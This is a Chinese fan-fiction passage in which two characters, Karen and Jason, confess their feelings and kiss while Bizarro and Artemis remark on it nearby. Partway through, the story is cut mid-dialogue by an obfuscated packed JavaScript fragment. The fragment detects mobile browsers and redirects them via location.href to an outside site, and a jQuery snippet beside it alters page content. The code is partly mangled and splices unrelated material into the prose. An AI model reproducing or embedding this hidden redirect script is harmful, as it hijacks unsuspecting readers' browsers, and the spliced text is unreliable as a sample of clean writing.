那双蓝色的眼睛在暖黄色的灯光里变得幽深。 卡伦的声音卡在喉咙里。 “如果你需要的话,一个魔法师的忠诚。”他重复了一遍,声音小了很多,但没有移开目光。 杰森没有说话。 走廊里很安静。远处传来比扎罗的声音,含混的,听不清在说什么。然后阿尔忒弥斯的声音,低沉的,在说“别”。 杰森低下头,看了一眼卡伦还停在他手背上的那只手。然后他抬起头,直视着卡伦的眼睛。 “你喜欢我。” 不是问句。 杰森的声音不大,但走廊里很安静,每个字都清清楚楚。他的语气是陈述事实的语气,甚至不是询问。 卡伦的呼吸停了一拍,心重重沉底,他闭了闭眼。 何止喜欢。 他能感觉到自己的心跳突然加速了,在胸腔里撞,一下比一下重,整个人像是在等待判决的罪犯。 他张了张嘴,没发出声音。 杰森没有等他回答。 “我喜欢你。” 他的声音还是不大,但很认真。 “我可以追求你吗?” 卡伦的耳朵已经红透了。红色从耳尖蔓延到耳垂,从耳垂蔓延到脖子,从脖子蔓延到锁骨。他的T恤领口本来就大,锁骨那一截皮肤泛着粉红色,在暖黄色的灯光里很明显。 他的手指在杰森的手腕上按了一下,像是借了一点力气。 “你——”他的声音有点紧,但他没有低头,没有躲开杰森的目光,“你知不知道你在说什么?” “知道。” “你知道多久了?” “几天。阿布拉的事情之前就知道了。” 卡伦的嘴唇张开,又合上。 他没有做梦,也没中幻术,不要在这个事情上怀疑他作为一名魔法师的职业素养。灯管已经很亮了,杰森的表情他看得很清楚。 “那你为什么不说?” 杰森没有立刻回答。他低下头,看了一眼卡伦重新握在他手腕上的那只手。卡伦的手指贴着他的脉搏,他能感觉到自己的心跳——比平时快了一点。他以为藏得很好,但卡伦的手指在那里,什么都藏不住。 “你以为只有你怕?” 他的声音很轻,但每个字都像是从牙缝里挤出来的。 “我怕我说了,你连诊所都不让我去了。” 卡伦笑了一下:“好吧,我们都一样笨。” 那点忐忑终于完全散了,像雾被风吹开,在这件事上,他的勇气终于回来了。 “我喜欢你。”他说,“从灭霸那次回来就开始了。但我不敢说。我原本以为你是直的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444140|201073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不是。”以前是不是别管,反正他现在不是了。 “我知道,现在知道了。” 卡伦松开杰森的手腕。 他的手指从杰森的脉搏上滑开,往上移了一点,碰到了杰森的手背。他的手指很凉,指尖的茧划过杰森的手背,带起一阵细微的痒。他的手指沿着杰森的手背往上,划过指缝,划过虎口,停在了杰森的手掌边缘。 杰森没有动。他的手张开着,垂在身侧,在等什么东西落进来。 卡伦没有握上去。他的手指只是停在那里,碰着杰森手掌的边缘,犹豫了一下。 杰森伸出手。 他的手指托住了卡伦的下巴。指腹贴着卡伦下巴的弧度,轻轻往上抬了一点。卡伦的视线被抬高了,从杰森的胸口移到杰森的嘴唇,从嘴唇移到眼睛。 蓝色的眼睛。 近了很多。 杰森什么时候靠过来的?卡伦不知道。他的脑子现在不太管用。他只知道杰森的指腹有一点粗糙,温度比他自己的皮肤高。他能感觉到那几根手指的轮廓——食指贴着下巴的侧面,中指在正下方,无名指和小指微微蜷着,掌根悬空。 “你说那是吻面礼。”杰森拉长语调说。声音很低,低到像是从胸腔里直接传出来的。 “嗯。”卡伦的声音小得几乎听不见。 “我没见过这种吻面礼。” 卡伦的呼吸停了一拍。 “你——你见得少。”卡伦干巴巴的掩饰。 好吧,在他们坦白之后,卡伦觉得哪怕是个傻子都不会信他的说辞。 杰森的拇指从卡伦的下巴滑上去,擦过卡伦的下唇。动作很轻。卡伦的下唇是干的,有一点起皮,杰森的拇指从上面划过去的时候,带起一阵细微的刺痛。但卡伦没有躲。他的眼睛闭了一下,又睁开了。 “伊莱。”杰森说。 卡伦的瞳孔放大了一点。 “你刚才亲的是嘴角。”杰森说,“不是这里。” 他的拇指点了点卡伦嘴唇的正中央。 “你欠我一个正的。” 卡伦的耳朵已经红到了耳根。红色从耳垂蔓延到脖子,从脖子蔓延到锁骨,从锁骨蔓延到T恤领口下面的那一截胸口,他的心跳快得像要从喉咙里蹦出来。 但他没有躲。 他伸手抓住杰森的衣领,这一次没有犹豫。他的手指攥紧了布料,指节发白。他把杰森往下拉,踮起脚尖,嘴唇贴上去。 正中央。 杰森的嘴唇比他想象的要软。上面那层薄薄的皮有一点干,但下面是软的,温热的,带着一点咖啡的苦味。卡伦的嘴唇贴着它,停了两秒。他能感觉到杰森的呼吸变得有一点急促。 他想退开。 杰森的手按住了他的后腰。 手掌贴着他的腰侧,五指张开,拇指卡在他的肋骨上。力气不大,但卡伦动不了了。 杰森偏了一下头。 鼻梁擦过卡伦的鼻梁,胡茬蹭过卡伦的人中。他的嘴唇压下来,角度变了,贴合得更紧。卡伦的嘴唇被分开了一点,他能感觉到杰森的唇瓣含住了他的下唇,轻轻地,像在品尝什么东西。 卡伦的手指从杰森的衣领滑上去,穿过他的头发。杰森的头发比他想象的要软,发丝在指缝间滑过,带着洗发水的味道。 卡伦的嘴唇在杰森的嘴唇下面颤了一下。 杰森感觉到了。他的手从卡伦的腰侧滑到后背,把人往自己的方向带。卡伦的胸口贴上了他的胸口,心跳隔着两层T恤撞在一起。两个人的心跳如此贴近,几乎同频。 卡伦先松开了。 无他,他需要呼吸。他的脸埋在杰森的肩膀里,鼻尖抵着杰森的锁骨,大口大口地喘气。他的耳朵烫得像贴了炭火,他能感觉到自己的脸在发烫,脖子在发烫,全身都在发烫。 杰森的手还停在他的后背上。手指张开,掌根贴着他的脊椎,指尖在他的肩胛骨之间。 “伊莱。”杰森的声音从胸腔里传出来,卡伦甚至能感受到发声的震动。 “嗯。”卡伦的声音闷在杰森的肩膀里。 “以后每天叫。” 卡伦的手指在杰森的背上攥了一下。 “好。” 走廊那头传来比扎罗的声音。 “阿尔忒弥斯。” “嗯。” “杰森和卡伦。是不是。在一起了。” “……是。” “比扎罗。猜对了。” “嗯。你猜对了。” “比扎罗。聪明。” 阿尔忒弥斯没有回答。然后是一声闷响——可能是阿尔忒弥斯拍了比扎罗一下,也可能是比扎罗自己撞墙了。 卡伦在杰森的肩膀里笑了一下。很轻,气息喷在杰森的锁骨上,痒痒的。杰森的下巴搁在卡伦的头顶,他的手从卡伦的后背滑到后颈,拇指在卡伦的耳后蹭了一下。 “你小时候,”杰森说,“头发比现在长。” 卡伦从他肩膀上抬起头,看着杰森。两双瑰丽的眼睛之间的距离不到十厘米。 “你还记得?” “记得。” “那时候脸上涂着灰泥,头发乱得像鸟窝,衣服大了好几号——总之,能再见到你,真是太好了。” 卡伦拍拍他的脑袋,凑过去,在杰森的嘴角又亲了一下。这一次没有犹豫,没有解释,没有“吻面礼”。就是亲了一下。嘴唇贴着嘴唇,一秒,然后退开。 杰森看着他。 “这也是吻面礼?” “不是。”卡伦说,“这是‘以后每天叫’的定金。” 杰森的嘴角翘起来了,或者说,那种缱绻的笑意一直没有停过。 “Ok,你赢了。” 走廊那头传来脚步声。越来越远。比扎罗和阿尔忒弥斯走了。 “杰森。” “嗯。” “回家吧。” “好。”